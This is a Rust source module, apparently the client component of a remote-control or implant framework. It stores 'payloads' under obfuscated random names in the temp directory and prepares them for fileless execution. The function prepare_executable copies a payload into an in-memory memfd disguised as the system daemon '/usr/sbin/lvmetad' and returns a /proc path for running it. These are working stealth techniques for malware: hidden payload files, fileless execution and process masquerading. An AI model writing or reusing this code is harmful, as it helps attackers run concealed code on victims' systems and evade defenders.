// This module is aiming to store obfuscated payloads, get them by name,
// delete or prepare to execute via memfd_create (unix)

use once_cell::sync::Lazy;
use parking_lot::RwLock;
use std::collections::HashMap;
use std::env::temp_dir;
use std::ffi::{CString, OsString};
use std::fs::{self, File};
use std::path::{Path, PathBuf};
use uuid::Uuid;

mod error;
pub use error::Error;

// INDEX format: given_name -> payload_meta
static INDEX: Lazy<RwLock<HashMap<String, FileMeta>>> = Lazy::new(|| RwLock::new(HashMap::new()));

struct FileMeta {
    path: PathBuf,
    obfuscated: bool,
    extension: Option<OsString>,
}

/// Remove deleted files from index
pub fn sync_index() {
    let mut index = INDEX.write();

    let files_to_delete: Vec<String> = index
        .iter()
        .filter_map(|(name, meta)| {
            if meta.path.exists() {
                None
            } else {
                Some(name.to_string())
            }
        })
        .collect();

    files_to_delete.into_iter().for_each(|f| {
        index.remove(&f);
    });
}

pub fn in_index(name: impl AsRef<str>) -> bool {
    sync_index();

    INDEX.read().get(name.as_ref()).is_some()
}

pub fn read(name: impl AsRef<str>) -> Result<Vec<u8>, Error> {
    sync_index();

    let name = name.as_ref();
    let index = INDEX.read();
    let meta = index.get(name).ok_or_else(|| Error::not_found(name))?;

    fs::read(&meta.path).map_err(|e| Error::new(e, name))
}

/// Create new file and add to index
pub fn put(name: impl AsRef<str>, data: impl AsRef<[u8]>) -> Result<(), Error> {
    let name = name.as_ref();
    let obfuscate = !cfg!(feature = "server") && !cfg!(feature = "panel");

    if in_index(&name) {
        return Err(Error::already_exists(&name));
    }

    let path = {
        let exec_name = if obfuscate {
            PathBuf::from(Uuid::new_v4().simple().to_string())
        } else {
            PathBuf::from(name)
        };

        let mut path = temp_dir();
        path.push(exec_name);
        path
    };

    let extension = path.file_stem().map(ToOwned::to_owned);

    fs::write(&path, data).map_err(|e| Error::new(e, name))?;

    let mut index = INDEX.write();
    index.insert(
        name.to_string(),
        FileMeta {
            path,
            obfuscated: obfuscate,
            extension,
        },
    );

    Ok(())
}

/// Add existing file to index
pub fn put_existing(path: impl AsRef<Path>) -> Result<(), Error> {
    let path = path.as_ref();
    let path_str = path.as_os_str().to_string_lossy().to_string();

    if !path.exists() || path.is_dir() {
        return Err(Error::not_found(path));
    }

    if in_index(&path_str) {
        return Err(Error::already_exists(&path));
    }

    let mut index = INDEX.write();
    index.insert(
        path_str,
        FileMeta {
            path: path.to_owned(),
            obfuscated: false,
            extension: path.file_stem().map(ToOwned::to_owned),
        },
    );

    Ok(())
}

#[cfg(unix)]
pub fn prepare_executable(name: impl AsRef<str>) -> Result<(File, String), Error> {
    use libc::getpid;
    use nix::sys::memfd::*;
    use std::io::{Read, Write};
    use std::os::fd::FromRawFd;

    const FAKE_EXEC_NAME: &str = "/usr/sbin/lvmetad";
    const BUFFER_LEN: usize = 4096;

    sync_index();

    let mut buffer: [u8; BUFFER_LEN] = [0; BUFFER_LEN];
    let name = name.as_ref();
    let index = INDEX.read();
    let payload_meta = index.get(name).ok_or_else(|| Error::not_found(name))?;

    let fd = memfd_create(
        CString::new(FAKE_EXEC_NAME).unwrap().as_c_str(),
        MemFdCreateFlag::empty(),
    );

    match fd {
        Ok(fd) => {
            let mut payload_src =
                File::open(&payload_meta.path).map_err(|e| Error::new(e, &payload_meta.path))?;
            let mut payload_dest = unsafe { File::from_raw_fd(fd) };

            loop {
                let bytes_read = payload_src.read(&mut buffer)?;
                payload_dest.write(&buffer[..bytes_read])?;

                if bytes_read != BUFFER_LEN {
                    break;
                }
            }
            let payload_path = format!("/proc/{}/fd/{}", unsafe { getpid() }, fd);
            Ok((payload_dest, payload_path))
        }
        Err(e) => Err(Error::new(e, FAKE_EXEC_NAME)),
    }
}

pub fn cleanup() {
    let index = INDEX.read();

    index.values().for_each(|f| {
        fs::remove_file(&f.path).ok();
    });
}